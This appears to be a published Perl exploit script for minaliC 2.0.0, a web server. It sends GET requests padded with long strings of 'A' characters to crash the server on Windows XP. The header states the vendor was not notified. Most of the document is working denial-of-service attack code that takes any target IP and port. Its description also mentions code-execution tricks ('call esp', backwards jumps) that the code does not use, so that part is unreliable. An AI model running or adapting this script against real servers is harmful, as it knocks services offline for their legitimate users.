minaliC 2.0.0 – Denied of Service
#!/usr/bin/perl use Socket; # Exploit Title: minaliC 2.0.0 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 03 january 2024 # Vendor Homepage: http://minalic.sourceforge.net/ # Notification vendor: No reported # Tested Version: minaliC 2.0.0 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://www.youtube.com/watch?v=R_gkEjvpJNw #1. Description #This technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server did not properly handle request with large amounts of data via method GET to web server. #The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $junk = "\x41" x 245; my $host = "\x41" x 135; my $i=0; while ($i <= 3) { my $buf = "GET /" . $junk . " HTTP/1.1\r\n" . "Host: " . $host . "\r\n\r\n"; my $sock; socket($sock, AF_INET, SOCK_STREAM, 0) or die "[-] Could not create socket: $!\n"; my $addr = sockaddr_in($port, inet_aton($ip)); connect($sock, $addr); send($sock, $buf, length($buf), 0); $i++; } print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print "***************************************************\n"; print "* minaliC 2.0.0 - Denied of Service *\n"; print "* *\n"; print "* Coded by Fernando Mengali *\n"; print "* *\n"; print "* e-mail: fernando.mengalli\@gmail.com *\n"; print "* *\n"; print "***************************************************\n"; } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } } |